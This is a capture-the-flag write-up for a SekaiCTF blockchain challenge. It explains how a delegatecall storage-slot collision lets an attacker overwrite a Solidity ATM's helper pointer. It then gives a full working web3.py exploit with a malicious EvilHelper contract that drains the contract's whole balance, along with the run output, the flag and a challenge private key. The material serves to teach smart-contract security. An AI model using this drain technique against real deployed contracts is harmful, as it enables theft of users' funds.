Introduction

    This post continues my SekaiCTF 2026 writeup series, this time focusing on the second blockchain challenge I solved during the competition: PP Farming 2.

    Unlike the first challenge, which revolved around a classic reentrancy vulnerability, this challenge presented a more subtle issue. The challenge author attempted to eliminate the original vulnerability by introducing a reentrancy guard, but in doing so accidentally introduced an entirely different class of vulnerability involving Solidity’s delegatecall instruction.

    Although delegatecall is an extremely powerful feature that enables upgradeable proxy contracts and modular contract architectures, it must be used with great care. Since delegated code executes within the caller’s storage context, even seemingly harmless helper contracts can unintentionally modify critical state variables. As this challenge demonstrates, misunderstanding how storage layouts interact with delegatecall can completely compromise an otherwise protected contract.

Challenge Overview

    The challenge was named PP Farming 2 and included the following description:

I fixed the issue. I think…

Challenge Information

    Similarly to the previous challenge, a compressed .tar.gz archive was provided containing a complete Foundry project. The archive included the deployment script together with the Solidity source code implementing the vulnerable contract.

    At first glance, the project appears to be an improved version of PP Farming 1. The contract now includes a reentrancy guard designed to prevent recursive withdrawals, suggesting that the previous vulnerability has been addressed. However, a closer inspection reveals that while one security issue has indeed been fixed, another, arguably more dangerous one, has been introduced.

Analyzing the Smart Contracts

Deploy.s.sol

    As with the previous challenge, the first file to inspect is the deployment script:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-ctf/CTFDeployer.sol";
import "forge-ctf/CTFChallenge.sol";

import "src/PerformancePointATM.sol";

contract Deploy is CTFDeployer {
    function deploy(address system, address player) internal override returns (CTFChallenge[] memory challenges) {
        vm.startBroadcast(system);

        PerformancePointHelper helper = new PerformancePointHelper();
        PerformancePointATM atm = new PerformancePointATM{value: 10 ether}(address(helper));

        challenges = new CTFChallenge[](1);
        challenges[0] = CTFChallenge("PerformancePointATM", address(atm));

        vm.stopBroadcast();
    }
}

    The deployment process is almost identical to PP Farming 1. The main difference is the introduction of an additional helper contract named PerformancePointHelper. During deployment, the helper contract is created first, after which its address is passed to the constructor of the PerformancePointATM.

PerformancePointHelper helper = new PerformancePointHelper();
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}(address(helper));

    As before, the ATM is initialized with 10 Ether, which represents the funds available to be stolen. Unlike the previous challenge, however, the ATM now depends on an external helper contract for processing withdrawals, immediately suggesting that the interaction between these two contracts deserves closer examination.

PerformancePointHelper

    The helper contract is shown below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PerformancePointHelper{
    uint256 id_number;
    address public atm;
    bool public helping;
    constructor() {
        id_number = 0;
        helping = true;
    }
    function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
        (bool success, ) = recipient.call{value: amount}("");
        return success;
    }
    function setATM(address _atm) public {
        atm = _atm;
    }
    function stopHelping() public {
        helping = false;
    }
    function startHelping() public {
        helping = true;
    }
}

    At first glance, the contract appears relatively harmless. It exposes a processWithdrawal() function responsible for transferring Ether to the recipient, together with a few administrative helper functions that allow updating internal state variables.

    The most interesting function is the following:

function processWithdrawal(address payable recipient, uint256 amount)
    external
    returns (bool)
{
    (bool success, ) = recipient.call{value: amount}("");
    return success;
}

    Unlike the previous challenge, the ATM no longer performs the Ether transfer itself. Instead, this responsibility has been delegated to the helper contract, which immediately raises the question of how exactly this helper is being invoked.

PerformancePointATM

    The main contract of the challenge is PerformancePointATM, shown below:

contract PerformancePointATM {
    mapping(address => uint256) public scores;
    address public performancePointHelper;
    bool public locked;
    constructor(address _performancePointHelper) payable {
        performancePointHelper = _performancePointHelper;
    }

    modifier noReentrancy() {
        require(!locked, "Reentrancy detected");
        locked = true;
        _;
        locked = false;
    }

    function donatePP(address _to) public payable {
        scores[_to] = scores[_to] + msg.value;
    }

    function checkPP(address _who) public view returns (uint256 score) {
        return scores[_who];
    }

    function withdrawPP() public noReentrancy {
        uint256 score = scores[msg.sender];
        require(score > 0, "Nothing to withdraw");
        
        // Uses delegatecall to helper for withdrawal
        (bool success, ) = performancePointHelper.delegatecall(
            abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
        );
        
        require(success, "Transfer failed");
        scores[msg.sender] = 0;
    }


    function isSolved() view public returns (bool) {
        return address(this).balance == 0;
    }

    receive() external payable {}

    // Calls proxy contract
    fallback() external payable {
        address _impl = performancePointHelper;

        bytes4 selector = msg.sig;
        
        // Block withdrawing without proxy
        bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
        require(selector != initSelector, "processWithdrawal blocked");

        assembly {
            let ptr := mload(0x40) // Get free memory pointer
            calldatacopy(ptr, 0, calldatasize()) // Copy calldata to memory

            let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) // Delegatecall
            returndatacopy(ptr, 0, returndatasize()) // Copy return data

            if iszero(success) {
                revert(ptr, returndatasize()) // Revert if delegatecall failed
            }
            return(ptr, returndatasize()) // Return data if successful
        }
    }
}

    At first glance, the contract looks considerably more secure than its predecessor. The basic functionality remains unchanged: users can donate Ether on behalf of any address through donatePP(), query their deposited balance using checkPP() and later withdraw their funds using withdrawPP(). However, the implementation of the withdrawal logic has been significantly modified.

    The first notable addition is the introduction of a reentrancy guard:

bool public locked;

modifier noReentrancy() {
    require(!locked, "Reentrancy detected");
    locked = true;
    _;
    locked = false;
}

    Unlike the first version of the challenge, every call to withdrawPP() is now protected by the noReentrancy modifier. Before executing the function, the modifier verifies that no previous invocation is currently in progress. It then sets the locked flag, executes the function body and finally resets the flag once execution completes.

    This implementation follows the standard approach adopted by many Solidity libraries, including OpenZeppelin’s ReentrancyGuard, and effectively prevents the recursive attack used to solve PP Farming 1.

    The withdrawal function itself has also been modified:

function withdrawPP() public noReentrancy {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");

    (bool success, ) = performancePointHelper.delegatecall(
        abi.encodeWithSignature(
            "processWithdrawal(address,uint256)",
            msg.sender,
            score
        )
    );

    require(success, "Transfer failed");
    scores[msg.sender] = 0;
}

    Instead of transferring Ether directly, the contract now delegates this responsibility to the external PerformancePointHelper contract. At first glance, this appears to be a reasonable design choice. Separating the withdrawal logic into a helper contract can improve modularity and make future upgrades easier without modifying the core ATM implementation.

    However, one implementation detail immediately stands out: instead of performing a normal external call, the contract uses Solidity’s delegatecall. Understanding the implications of this single instruction is the key to solving the challenge.

Understanding delegatecall

    Although call() and delegatecall() may appear similar, they behave fundamentally differently. A regular call() executes code inside the target contract. Consequently, all storage reads and writes affect the storage of the callee:

PerformancePointATM
        |
        | call()
PerformancePointHelper

Storage used:
✔ Helper storage
✘ ATM storage

    In contrast, delegatecall() executes the code stored in the target contract while preserving the execution context of the caller. This means that every storage access performed by the helper contract actually reads from and writes to the storage of the ATM contract:

PerformancePointATM
        |
        | delegatecall()
PerformancePointHelper code

Storage used:
✔ ATM storage
✘ Helper storage

    This distinction is extremely important. Although the executed bytecode belongs to PerformancePointHelper, every state variable referenced inside that contract corresponds to a storage slot inside PerformancePointATM.

    Consequently, the safety of delegatecall() depends entirely on both contracts sharing a compatible storage layout. If their state variables occupy different storage slots, writing to one contract’s variables may unintentionally overwrite completely unrelated variables in the other.

    This observation immediately raises an important question: do these two contracts actually share the same storage layout?

Identifying the Vulnerability

    Whenever delegatecall() is involved, one of the first things worth inspecting is the storage layout of both contracts. Since delegated code executes using the caller’s storage, any mismatch between the layouts can have unintended and potentially dangerous consequences.

    The PerformancePointHelper contract defines the following state variables:

contract PerformancePointHelper {
    uint256 id_number;
    address public atm;
    bool public helping;
}

    Solidity stores these variables sequentially in storage, producing the following layout:

PerformancePointHelper

┌──────────┬────────────────────────────┐
│ Slot 0   │ uint256 id_number          │
├──────────┼────────────────────────────┤
│ Slot 1   │ address atm                │
├──────────┼────────────────────────────┤
│ Slot 2   │ bool helping               │
└──────────┴────────────────────────────┘

    The PerformancePointATM contract, however, has an entirely different storage layout:

contract PerformancePointATM {
    mapping(address => uint256) public scores;
    address public performancePointHelper;
    bool public locked;
}

which corresponds to:

PerformancePointATM

┌──────────┬──────────────────────────────────────┐
│ Slot 0   │ mapping scores                       │
├──────────┼──────────────────────────────────────┤
│ Slot 1   │ address performancePointHelper       │
├──────────┼──────────────────────────────────────┤
│ Slot 2   │ bool locked                          │
└──────────┴──────────────────────────────────────┘

    Immediately, we notice something interesting. The helper’s atm variable occupies slot 1, while the ATM’s performancePointHelper pointer also resides in slot 1.

    Normally, this would not be an issue because the helper contract maintains its own storage. However, recall that the ATM invokes the helper using delegatecall(). This means that every storage access performed inside the helper actually operates on the ATM’s storage instead.

    Consequently, the helper function:

function setATM(address _atm) public {
    atm = _atm;
}

does not modify the helper’s atm variable when executed through delegatecall(). Instead, it writes directly into slot 1 of the ATM contract. In other words,

Helper.slot1 (atm)
delegatecall
ATM.slot1 (performancePointHelper)

    Therefore, executing:

setATM(attackerAddress);

through delegatecall() is actually equivalent to:

performancePointHelper = attackerAddress;

inside the ATM contract.

    At this point, the challenge becomes significantly more interesting. If we can somehow execute setATM() through the ATM’s fallback function, we can overwrite the address of the helper contract with an arbitrary contract under our control.

    Looking back at the end of the ATM implementation, we find the following fallback function.

fallback() external payable {
    address _impl = performancePointHelper;

    bytes4 selector = msg.sig;

    bytes4 initSelector =
        bytes4(keccak256("processWithdrawal(address,uint256)"));

    require(selector != initSelector,
        "processWithdrawal blocked");

    assembly {
        let ptr := mload(0x40)
        calldatacopy(ptr, 0, calldatasize())

        let success := delegatecall(
            gas(),
            _impl,
            ptr,
            calldatasize(),
            0,
            0
        )

        returndatacopy(ptr, 0, returndatasize())

        if iszero(success) {
            revert(ptr, returndatasize())
        }

        return(ptr, returndatasize())
    }
}

    The purpose of this function is to forward any unknown function call to the helper contract using delegatecall(). The only exception is processWithdrawal(), whose selector is explicitly blocked to prevent users from bypassing the ATM’s withdrawal logic.

    Unfortunately, this restriction is far from sufficient. Every other public function of the helper contract remains callable through the fallback proxy. Since setATM() is public, an attacker can simply invoke it on the ATM contract itself. The fallback forwards the call via delegatecall(), causing the assignment:

atm = attackerAddress;

to overwrite:

performancePointHelper = attackerAddress;

inside the ATM.

    In other words, the contract allows any user to replace the helper contract with an arbitrary implementation of their choosing. Once this pointer has been overwritten, every subsequent call to withdrawPP() delegates execution to attacker-controlled code, effectively giving the attacker complete control over the withdrawal process.

Exploiting the Vulnerability

    Once the vulnerability had been identified, constructing an exploit became relatively straightforward. Since we were able to overwrite the performancePointHelper pointer with an arbitrary contract, the only remaining task was to create a malicious helper implementing the expected processWithdrawal() interface.

    Instead of transferring only the requested withdrawal amount, our helper simply transfers its entire balance, which, due to the use of delegatecall(), corresponds to the Ether held by the ATM contract itself:

contract EvilHelper {

    function processWithdrawal(
        address payable recipient,
        uint256
    ) external returns (bool) {

        (bool ok, ) = recipient.call{
            value: address(this).balance
        }("");

        return ok;
    }
}

    Although the code appears to reference address(this).balance, it is important to remember that the function is executed through delegatecall(). Consequently, address(this) does not refer to the deployed EvilHelper contract but instead to the calling PerformancePointATM contract.

    As a result, the expression:

address(this).balance

actually evaluates to the balance of the ATM, which initially contains the entire 10 Ether deposited during deployment. Therefore, when the malicious helper executes the transfer, it sends the complete balance of the ATM to the attacker instead of the user’s deposited score.

    The exploit proceeds as follows:

  1. Deploy the malicious EvilHelper contract.
  2. Invoke setATM() through the ATM’s fallback function, replacing performancePointHelper with the address of the malicious helper.
  3. Donate a single wei to ourselves so that scores[msg.sender] becomes non-zero.
  4. Invoke withdrawPP().
  5. The ATM delegates execution to our helper, which transfers the entire contract balance to our account.
  6. The ATM balance becomes zero and the challenge is solved.

    One subtle detail deserves further explanation. Before calling withdrawPP(), we still need to satisfy the following requirement:

uint256 score = scores[msg.sender];
require(score > 0, "Nothing to withdraw");

    For this reason, the exploit first performs a minimal donation:

donate_tx = atm.functions.donatePP(acct.address).build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "value": 1,
    "gas": 200_000,
    "gasPrice": w3.eth.gas_price,
})

    Donating a single wei is sufficient to bypass the balance check. The withdrawal amount passed to the helper is therefore only 1 wei, but our malicious implementation completely ignores this parameter.

Instead of executing:

recipient.call{value: amount}("");

it performs:

recipient.call{value: address(this).balance}("");

which transfers every Ether owned by the ATM.

    Finally, replacing the helper contract requires only a single transaction. Rather than interacting directly with PerformancePointHelper, we simply invoke setATM() on the ATM itself:

overwrite_tx = atm_as_helper.functions.setATM(
    evil_address
).build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "gas": 200_000,
    "gasPrice": w3.eth.gas_price,
})

    Since PerformancePointATM does not implement setATM(), the call is automatically forwarded to the fallback function, which performs a delegatecall() to the legitimate helper. As discussed previously, the helper’s assignment:

atm = _atm;

actually overwrites the ATM’s own performancePointHelper variable due to the storage slot collision.

After this transaction completes, every future call to withdrawPP() delegates execution to our malicious helper contract instead of the original one, giving us complete control over the withdrawal logic.

Implementing the Exploit

    With the attack strategy established, implementing the exploit becomes relatively straightforward. The Python script closely mirrors the exploitation process discussed in the previous section. Using the web3.py library, we first connect to the challenge instance, compile and deploy our malicious helper contract and then overwrite the ATM’s helper pointer before triggering the vulnerable withdrawal routine.

    We begin by compiling and deploying the malicious helper contract using Solidity version 0.8.20:

install_solc("0.8.20")

compiled = compile_source(
    source,
    output_values=["abi", "bin"],
    solc_version="0.8.20"
)

evil_interface = compiled["<stdin>:EvilHelper"]
evil_abi = evil_interface["abi"]
evil_bytecode = evil_interface["bin"]

EvilHelper = w3.eth.contract(
    abi=evil_abi,
    bytecode=evil_bytecode
)

deploy_tx = EvilHelper.constructor().build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "gas": 1_000_000,
    "gasPrice": w3.eth.gas_price,
})

tx_hash, receipt = send_tx(deploy_tx)

evil_address = receipt.contractAddress

    Once the contract has been deployed, we exploit the vulnerable fallback proxy by invoking setATM(). Although this function belongs to PerformancePointHelper, calling it on the ATM causes the fallback function to forward the request using delegatecall(). Because of the storage collision discussed earlier, the helper assignment:

atm = _atm;

actually modifies:

performancePointHelper = _atm;

inside the ATM contract.

overwrite_tx = atm_as_helper.functions.setATM(
    evil_address
).build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "gas": 200_000,
    "gasPrice": w3.eth.gas_price,
})

tx_hash, receipt = send_tx(overwrite_tx)

print("[+] Current helper:",
      atm.functions.performancePointHelper().call())

    To verify that the overwrite succeeded, the exploit queries the current helper address. If everything worked correctly, the returned address matches the deployed EvilHelper contract, confirming that all future withdrawals will execute attacker-controlled code.

    The ATM still requires the caller to have a positive score before allowing a withdrawal. Since the actual amount transferred is determined by our malicious helper rather than the stored score, depositing a single wei is sufficient to satisfy this requirement:

donate_tx = atm.functions.donatePP(
    acct.address
).build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "value": 1,
    "gas": 200_000,
    "gasPrice": w3.eth.gas_price,
})

tx_hash, receipt = send_tx(donate_tx)

    Finally, the exploit invokes the vulnerable withdrawal function:

withdraw_tx = atm.functions.withdrawPP().build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "gas": 500_000,
    "gasPrice": w3.eth.gas_price,
})

tx_hash, receipt = send_tx(withdraw_tx)

    Internally, the ATM delegates the withdrawal to our malicious helper. Instead of transferring the recorded score, the helper executes:

recipient.call{value: address(this).balance}("");

which sends the entire balance of the ATM to the attacker. As a consequence, the contract balance immediately becomes zero, satisfying the challenge’s success condition.

Getting the Flag

    Putting everything together, we obtain the following exploit.

from web3 import Web3
from solcx import compile_source, install_solc

RPC_URL = "https://eth.chals.sekai.team/NCEhoLwUBGkPvVHQhIcWyIli/main"
PRIVATE_KEY = "29774c89329667d5e5fb19065c46bc8909d016786d00cb2333b03642f6f33d99"
ATM_ADDRESS = "0x3137fB7D994637C4CB4DA4CA4ab740aAba3E2397"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
acct = w3.eth.account.from_key(PRIVATE_KEY)

source = """
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EvilHelper {
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool ok, ) = recipient.call{value: address(this).balance}("");
        return ok;
    }
}
"""

atm_abi = [
    {
        "inputs": [{"name": "_to", "type": "address"}],
        "name": "donatePP",
        "outputs": [],
        "stateMutability": "payable",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "withdrawPP",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [{"type": "bool"}],
        "stateMutability": "view",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "performancePointHelper",
        "outputs": [{"type": "address"}],
        "stateMutability": "view",
        "type": "function",
    },
]

set_atm_abi = [
    {
        "inputs": [{"name": "_atm", "type": "address"}],
        "name": "setATM",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
    }
]

def send_tx(tx):
    signed = acct.sign_transaction(tx)
    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
    return tx_hash, receipt

print("[+] Player:", acct.address)
print("[+] Player balance:", w3.from_wei(w3.eth.get_balance(acct.address), "ether"), "ETH")
print("[+] ATM balance before:", w3.from_wei(w3.eth.get_balance(ATM_ADDRESS), "ether"), "ETH")

install_solc("0.8.20")

compiled = compile_source(
    source,
    output_values=["abi", "bin"],
    solc_version="0.8.20"
)

evil_interface = compiled["<stdin>:EvilHelper"]
evil_abi = evil_interface["abi"]
evil_bytecode = evil_interface["bin"]

EvilHelper = w3.eth.contract(abi=evil_abi, bytecode=evil_bytecode)

nonce = w3.eth.get_transaction_count(acct.address)

deploy_tx = EvilHelper.constructor().build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "gas": 1_000_000,
    "gasPrice": w3.eth.gas_price,
})

tx_hash, receipt = send_tx(deploy_tx)
assert receipt.status == 1, "EvilHelper deployment failed"

evil_address = receipt.contractAddress
print("[+] EvilHelper deployed:", evil_address)

atm = w3.eth.contract(address=ATM_ADDRESS, abi=atm_abi)
atm_as_helper = w3.eth.contract(address=ATM_ADDRESS, abi=set_atm_abi)

nonce += 1

overwrite_tx = atm_as_helper.functions.setATM(evil_address).build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "gas": 200_000,
    "gasPrice": w3.eth.gas_price,
})

tx_hash, receipt = send_tx(overwrite_tx)
assert receipt.status == 1, "Helper overwrite failed"

print("[+] Overwrite tx:", tx_hash.hex())
print("[+] Current helper:", atm.functions.performancePointHelper().call())

nonce += 1

donate_tx = atm.functions.donatePP(acct.address).build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "value": 1,
    "gas": 200_000,
    "gasPrice": w3.eth.gas_price,
})

tx_hash, receipt = send_tx(donate_tx)
assert receipt.status == 1, "Donate failed"

print("[+] Donated 1 wei")

nonce += 1

withdraw_tx = atm.functions.withdrawPP().build_transaction({
    "from": acct.address,
    "nonce": nonce,
    "gas": 500_000,
    "gasPrice": w3.eth.gas_price,
})

tx_hash, receipt = send_tx(withdraw_tx)

print("[+] Withdraw tx:", tx_hash.hex())
print("[+] Withdraw status:", receipt.status)

print("[+] ATM balance after:", w3.from_wei(w3.eth.get_balance(ATM_ADDRESS), "ether"), "ETH")
print("[+] Solved:", atm.functions.isSolved().call())
print("[+] Player balance after:", w3.from_wei(w3.eth.get_balance(acct.address), "ether"), "ETH")

    Executing the script produces the following output.

$ python solve.py
[+] Player: 0x15B878379e4C316b80582f7390E85f27EbCF1145
[+] Player balance: 1000 ETH
[+] ATM balance before: 10 ETH
[+] EvilHelper deployed: 0x0d010b16ad748Bb4A1B49B0AEf3982ccBD7ae4dA
[+] Overwrite tx: bc224adc581d45cb10e93e58d66aae3667f53869e1a2672a43b6d9be13067899
[+] Current helper: 0x0d010b16ad748Bb4A1B49B0AEf3982ccBD7ae4dA
[+] Donated 1 wei
[+] Withdraw tx: 9e227e32d82c12ce5c357c6739024266099b554bb0c45a3dd4102b414b270529
[+] Withdraw status: 1
[+] ATM balance after: 0 ETH
[+] Solved: True
[+] Player balance after: 1009.999505485000829011 ETH

    As shown above, the helper pointer is successfully replaced with the malicious implementation before the withdrawal is triggered. Although only a single wei is deposited, the delegated execution causes the helper to transfer the ATM’s entire balance. The contract is completely drained, isSolved() returns true and the challenge is successfully completed:

SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}

Conclusion

    Although PP Farming 2 initially appears to fix the vulnerability from the previous challenge by introducing a proper reentrancy guard, the new implementation ultimately replaces one security issue with another. The reentrancy protection itself is correctly implemented and successfully prevents the recursive withdrawal attack used in PP Farming 1. However, the decision to delegate the withdrawal logic to an external helper contract using delegatecall() introduces a far more subtle vulnerability.

    The root cause of the issue lies in the interaction between delegatecall() and Solidity’s storage layout. Since delegated code executes within the storage context of the calling contract, the helper’s setATM() function unintentionally overwrites the ATM’s performancePointHelper pointer due to a storage slot collision. By abusing the fallback proxy, an attacker can replace the legitimate helper contract with an arbitrary implementation under their control, effectively hijacking the contract’s withdrawal logic.

    Once the helper address has been replaced, draining the contract becomes trivial. The attacker only needs to satisfy the minimum withdrawal requirement by donating a single wei before invoking withdrawPP(). The malicious helper ignores the requested withdrawal amount and transfers the ATM’s entire balance instead, leaving the contract empty and satisfying the challenge’s completion condition.

    This challenge serves as an excellent reminder that securing smart contracts extends far beyond preventing well-known vulnerabilities such as reentrancy. Advanced EVM features like delegatecall() are extremely powerful but also inherently dangerous when used without carefully considering storage layouts and execution context. A seemingly harmless helper function, when executed through delegated execution, can unexpectedly modify critical state variables and completely compromise the security of the system.

    Overall, PP Farming 2 was a very enjoyable challenge that demonstrates a realistic class of vulnerabilities encountered in upgradeable contracts and proxy-based architectures. It reinforces the importance of understanding Solidity’s execution model and highlights why storage compatibility is a fundamental requirement whenever delegatecall() is involved.